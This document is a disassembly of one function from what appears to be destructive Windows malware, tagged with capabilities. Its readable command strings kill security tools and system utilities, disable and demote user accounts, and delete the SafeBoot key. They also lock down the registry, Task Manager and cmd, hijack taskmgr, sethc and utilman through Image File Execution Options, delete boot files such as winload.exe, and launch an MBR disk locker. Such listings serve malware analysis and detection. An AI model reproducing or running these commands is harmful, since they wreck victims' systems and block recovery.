Function at 0x1400b22f0
Capabilities:
Acquire debug privileges
Disable system features via registry on windows
Execute command
Hide shutdown actions via policy
Persist via image file execution options registry key
Set registry value

Disassembly:
push r14
push r13
push r12
push rsi
push rbx
add rsp, 0xffffffffffffff80
call fcn.14000be20
lea r12, [rsp + 0x60]
call fcn.1400015e0
test al, al
jne 0x1400b2338
mov rcx, r12
call fcn.140001700
mov rcx, qword [rsp + 0x60]
call fcn.1400016a0
mov rcx, r12
call fcn.14009ca20
xor eax, eax
sub rsp, 0xffffffffffffff80
pop rbx
pop rsi
pop r12
pop r13
pop r14
ret
mov rcx, r12
lea rdx, str.C:UsersPublicVideosWindows_11.mp4
call fcn.140001540
mov rcx, r12
call fcn.1400020c0
mov ebx, eax
mov rcx, r12
call fcn.14009ca20
test bl, bl
jne 0x1400b29fc
call fcn.140001a80
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
test rax, rax
je 0x1400b2329
lea rdx, str.RtlSetProcessIsCritical
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 1
lea rcx, str.SeDebugPrivilege
mov rsi, rax
call fcn.1400017e0
test eax, eax
je 0x1400b2329
xor r8d, r8d
xor edx, edx
mov ecx, 1
call rsi
lea rcx, str.title_Windows_Setup
call sub.msvcrt.dll_system
lea rcx, str.mode_con_cols20_lines1
call sub.msvcrt.dll_system
lea rcx, str.mode_con_cols15_lines1
call sub.msvcrt.dll_system
lea rcx, str.color_F1
call sub.msvcrt.dll_system
lea rcx, str.chcp_936
call sub.msvcrt.dll_system
lea rcx, str.start_NZSWKV_info.exe
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_explorer.exe__f__nul
call sub.msvcrt.dll_system
call fcn.140001c50
cmp eax, 9
jle 0x1400b2a1f
lea rcx, str.taskkill__im_taskmgr.exe__f__nul
lea r13, [rsp + 0x20]
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_regedit.exe__f__nul
lea r14, [rsp + 0x40]
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_notepad.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_mmc.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_mspaint.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_iexplore.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_winver.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_powershell.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_powershell_ise.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_chrome.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_msedge.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_firefox.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_sougouexplorer.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_control.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_mrt.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_360tray.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_360sd.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_ad_watch.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_cleaner8.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_vba32lder.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_MongoosaGUI.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_CorantiControlCenter32.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_F_FRONT.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_CMCTrayIcon.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_K7TSecurity.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_UnThreat.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_MsMpEng.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_avp.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_RavMonD.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_kxetray.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_ksafe.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_mssecess.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_parmor.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_TrojanHunter.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_Mcshield.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_BaiduSdSvc.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_hipstray.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_wsctrl.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_ashDisp.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_avcenter.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_DiskGenius.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_PartitionGuru.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.reg_add__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options_taskmgr.exe___f
call sub.msvcrt.dll_system
lea rcx, str.reg_add__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options_taskmgr.exe___v_Debugger__t_reg_sz__d__C:information.txt___f
call sub.msvcrt.dll_system
mov rcx, r13
call fcn.140001990
mov r8, r13
lea rdx, str.net_user__username___
mov rcx, r14
call fcn.1400af3c0
lea r8, [0x1400b89cc]
mov rdx, r14
mov rcx, r12
call fcn.1400af310
mov rcx, qword [rsp + 0x60]
call sub.msvcrt.dll_system
mov rcx, r12
call fcn.14009ca20
mov rcx, r14
call fcn.14009ca20
mov rcx, r13
call fcn.14009ca20
mov rcx, r13
call fcn.140001990
mov r8, r13
lea rdx, str.net_user_Administrator__
mov rcx, r14
call fcn.1400af3c0
lea r8, [0x1400b89cc]
mov rdx, r14
mov rcx, r12
call fcn.1400af310
mov rcx, qword [rsp + 0x60]
call sub.msvcrt.dll_system
mov rcx, r12
call fcn.14009ca20
mov rcx, r14
call fcn.14009ca20
mov rcx, r13
call fcn.14009ca20
lea rcx, str.net_user__username___active:no
call sub.msvcrt.dll_system
lea rcx, str.net_user_Administrator__active:no
call sub.msvcrt.dll_system
lea rcx, str.net_user_User__active:no
call sub.msvcrt.dll_system
lea rcx, str.reg_delete_HKLMSYSTEMCurrentControlSetControlSafeBoot__va__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer__v_NoClose__t_REG_DWORD__d_1__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem__v_shutdownwithoutlogon__t_REG_DWORD__d_0__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer__v_NoLogoff__t_REG_DWORD__d_1__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer__v_NoControlPanel__t_REG_DWORD__d_1__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer__v_NoDesktop__t_REG_DWORD__d_1__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer__v_NoDrives__t_REG_DWORD__d_4294967295__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer__v_NoRun__t_REG_DWORD__d_1__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer__v_NoSetFolders__t_REG_DWORD__d_1__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer__v_NoSetTaskbar__t_REG_DWORD__d_1__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer__v_NoStartMenuSubFolders__t_REG_DWORD__d_1__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer__v_NoViewOnDrive__t_REG_DWORD__d_4294967295__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer__v_NoFind__t_REG_DWORD__d_1__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer__v_NoFolderOptions__t_REG_DWORD__d_1__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer__v_RestrictRun__t_REG_DWORD__d_1__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer__v_StartMenuLogOff__t_reg_dword__d_1__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem__v_DisableChangePassword__t_REG_DWORD__d_1__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem__v_DisableLockWorkstation__t_REG_DWORD__d_1__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem__v_HideFastUserSwitching__t_REG_DWORD__d_1__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add_HKLMSoftwarePoliciesMicrosoftWindowsSystem__v_DisableCMD__t_REG_DWORD__d_2__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem__v_DisableTaskMgr__t_REG_DWORD__d_1__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem__v_DisableRegistryTools__t_REG_DWORD__d_1__f
call sub.msvcrt.dll_system
lea rcx, str.reg_add__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options_regedit.exe___f
call sub.msvcrt.dll_system
lea rcx, str.reg_add__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options_regedit.exe___v_Debugger__t_reg_sz__d__C:information.txt___f
call sub.msvcrt.dll_system
lea rcx, str.reg_add__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Optionsmmc.exe___f
call sub.msvcrt.dll_system
lea rcx, str.reg_add__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Optionsmmc.exe___v_Debugger__t_reg_sz__d__C:information.txt___f
call sub.msvcrt.dll_system
lea rcx, str.reg_add__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Optionscontrol.exe___f
call sub.msvcrt.dll_system
lea rcx, str.reg_add__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Optionscontrol.exe___v_Debugger__t_reg_sz__d__C:information.txt___f
call sub.msvcrt.dll_system
lea rcx, str.reg_add__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_OptionsUtilman.exe___f
call sub.msvcrt.dll_system
lea rcx, str.reg_add__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_OptionsUtilman.exe___v_Debugger__t_reg_sz__d__C:WindowsSystem32wininit.exe___f
call sub.msvcrt.dll_system
lea rcx, str.reg_add__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options_sethc.exe___f
call sub.msvcrt.dll_system
lea rcx, str.reg_add__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options_sethc.exe___v_Debugger__t_reg_sz__d__C:WindowsSystem32wininit.exe___f
call sub.msvcrt.dll_system
lea rcx, str.net_localgroup_Administrators__username___delete
call sub.msvcrt.dll_system
mov rcx, r12
lea rdx, str.C:Windowsexplorer.exe
call fcn.140001540
mov rcx, r12
call fcn.140001c90
mov rcx, r12
call fcn.14009ca20
mov rcx, r12
lea rdx, str.C:Windows_regedit.exe
call fcn.140001540
mov rcx, r12
call fcn.140001c90
mov rcx, r12
call fcn.14009ca20
mov rcx, r12
lea rdx, str.C:Windowswin.ini
call fcn.140001540
mov rcx, r12
call fcn.140001c90
mov rcx, r12
call fcn.14009ca20
mov rcx, r12
lea rdx, str.C:Windows_system.ini
call fcn.140001540
mov rcx, r12
call fcn.140001c90
mov rcx, r12
call fcn.14009ca20
mov rcx, r12
lea rdx, str.C:WindowsSystem32winload.exe
call fcn.140001540
mov rcx, r12
call fcn.140001c90
mov rcx, r12
call fcn.14009ca20
mov rcx, r12
lea rdx, str.C:WindowsSystem32winload.efi
call fcn.140001540
mov rcx, r12
call fcn.140001c90
mov rcx, r12
call fcn.14009ca20
mov rcx, r12
lea rdx, str.C:WindowsSystem32mmc.exe
call fcn.140001540
mov rcx, r12
call fcn.140001c90
mov rcx, r12
call fcn.14009ca20
mov rcx, r12
lea rdx, str.C:WindowsSystem32msiexec.exe
call fcn.140001540
mov rcx, r12
call fcn.140001c90
mov rcx, r12
call fcn.14009ca20
mov rcx, r12
lea rdx, str.C:WindowsSystem32_taskmgr.exe
call fcn.140001540
mov rcx, r12
call fcn.140001c90
mov rcx, r12
call fcn.14009ca20
mov rcx, r12
lea rdx, str.C:WindowsSystem32winver.exe
call fcn.140001540
mov rcx, r12
call fcn.140001c90
mov rcx, r12
lea rbx, str.NZSWKV_sub.exe
call fcn.14009ca20
lea rcx, str.start_NZSWKV_sub.exe
call sub.msvcrt.dll_system
mov r12, qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x3e8
call r12
jmp 0x1400b29d6
mov ecx, 0xc8
call r12
mov rcx, rbx
call fcn.140001fc0
test al, al
jne 0x1400b29ce
xor ecx, ecx
xor r8d, r8d
xor edx, edx
call rsi
lea rcx, str.start_NZSWKV_MBR_DiskLocker.exe
call sub.msvcrt.dll_system
jmp 0x1400b2329
xor ecx, ecx
mov r9d, 0x30
lea r8, [0x1400b8186]
lea rdx, [0x1400b8190]
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call sub.msvcrt.dll_exit
lea rcx, str.taskkill__im_dwm.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_dwm.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_dwm.exe__f__nul
call sub.msvcrt.dll_system
lea rcx, str.taskkill__im_dwm.exe__f__nul
call sub.msvcrt.dll_system
jmp 0x1400b240e